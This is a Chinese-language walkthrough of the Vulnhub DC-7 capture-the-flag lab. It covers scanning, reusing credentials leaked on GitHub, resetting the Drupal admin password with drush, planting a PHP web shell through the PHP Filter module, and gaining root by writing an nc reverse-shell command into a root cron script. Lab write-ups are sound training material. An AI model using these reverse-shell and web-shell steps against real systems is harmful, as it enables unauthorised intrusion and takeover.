Vulnhub-DC-7渗透学习
一、环境搭建
攻击机:Kali-2021.3:192.168.11.132
靶机:Vulnhub-DC-7:192.168.11.141
二、信息收集
主机探活
1 | nmap -sP 192.168.11.1-255 |
扫描目标端口
1 | nmap -A -p- 192.168.11.141 |
同时也知道了这个网站的CMS是Drupal 8
既然知道了CMS,那就去看看有没有什么漏洞可以利用
1 | searchsploit drupal 8 |
我尝试了几个,但都没有什么结果
接着我又用msf
尝试一下
但也是一样的结果,没有什么利用的上的
那就说明这个靶机不是按照正常套路来的,那就直接访问一下看看,访问之后发现有作者给出的线索
DC-7 引入了一些“新”概念,但我会让你弄清楚它们是什么。 :-)
虽然这个挑战并不完全是技术性的,但如果您需要诉诸暴力破解或字典攻击,您可能不会成功。
你要做的,就是跳出框框思考。
方式“外”框。 :-)
作者告诉我们思维不要被限制,那就来看看这个网站的特点吧
在这个页面的footer也就是页脚处发现一个看起来并不正常的东西
直接复制去必应搜索一下,搜索后发现有个Github账号
进入后发现他有个项目:staffdb
进入这个项目中,在config.php
中发现了一个账户和密码
dc7user / MdR3xOgB7#dW
尝试登录网站后台,但是无论尝试几次,依然是错误的
难道这个是靶场的账号密码吗,想起刚刚开放了22端口,尝试ssh登录
1 | ssh dc7user@192.168.11.141 |
成功登录
三、实战
漏洞利用
先尝试SUID和有无免密的root权限命令
1 | find / -perm -4000 -print 2>/dev/null |
但都没有利用点
那就随便寻找一下有用的信息吧
然后在用户dc7user
目录中发现backups
目录和mbox
文件,先进入backups,发现都是gpg
文件*(靶机里是没有html目录的,为什么会有html目录,后面我会提)*,gpg
文件是一种加密格式,直接打开的话是一串乱码,而且解密还需要密钥,因此暂时没什么帮助
那就看一下旁边的mbox
文件,打开后发现这似乎是管理员(root)的计划任务,会在一定时间后自动执行/opt/scripts/backups.sh
文件,还是以root的权限运行
那么思路就清楚了,如果我们可以对这个脚本文件有修改的权限,那么就可以写入反弹root权限shell的内容了,就能得到root权限了
那么就查看一下这个文件的权限吧
1 | ls -l /opt/scripts/backups.sh |
可以看到我们当前用户并不能对其写入内容,但还是看一下这个文件里有什么内容吧
大部分命令都能够明白,其中有两个命令值得注意:drush
和gpg
,很明显,这个加密的密钥已经能看到了,就是PickYourOwnPassword
然后我回去尝试对其解密,解密成功后将其解压,解压出来后发现就是一个
html
的文件夹,里面并没什么有用的内容,也许是网站站点的一些源码吧
无果后回来研究这个drush
命令,发现这个命令是drupal
用来管理数据库的
然后还发现这个命令可以修改密码
那我们就跟着这个脚本文件来到/var/www/html/
目录,然后修改密码,第一次尝试修改root用户的密码,发现并不能修改,那就修改默认用户admin的密码试试
1 | cd /var/www/html/ |
成功修改admin用户密码,后台尝试登录成功
然后在网站中寻找信息,发现在Content → Add content → Basic page
中似乎可以写码,但并没有php的选项
然后去网上搜索相关信息“drupal 8 PHP”,在drupal官方中找到了解释:PHP Filter module removed from Drupal core
PHP Filter模块已从Drupal Core中删除,并移至 http://drupal.org/project/php 的一个贡献模块
原来是官方出于安全考虑,将PHP Filter模块移除,但可以作为一个模块(module)手动安装
那就跟着官方给的方法,将PHP模块下载下来
然后回到网站进行安装:Extend → Install new module
安装完成后点击启用
按提示成功启用PHP Filter
模块后回到刚刚写码的地方,Text format选择PHP code
,然后写入一句话即可
然后复制链接地址,打开蚁剑进行连接
反弹shell
连接成功后进入虚拟终端反弹shell
kali:
1 | nc -lvp 2222 |
蚁剑虚拟终端:
1 | nc -e /bin/bash 192.168.11.132 2222 |
改为交互式shell
1 | python -c "import pty;pty.spawn('/bin/bash')" |
提权
然后就是写入反弹shell代码进入backups.sh
1 | echo "nc -e /bin/bash 192.168.11.132 3333" |
然后在kali中监听
1 | nc -lvp 3333 |
然后就是等待这个计划任务的进行,因为执行这个脚本文件的权限是root权限,那么反弹回来的权限自然也是root权限
成功连接后就能找到flag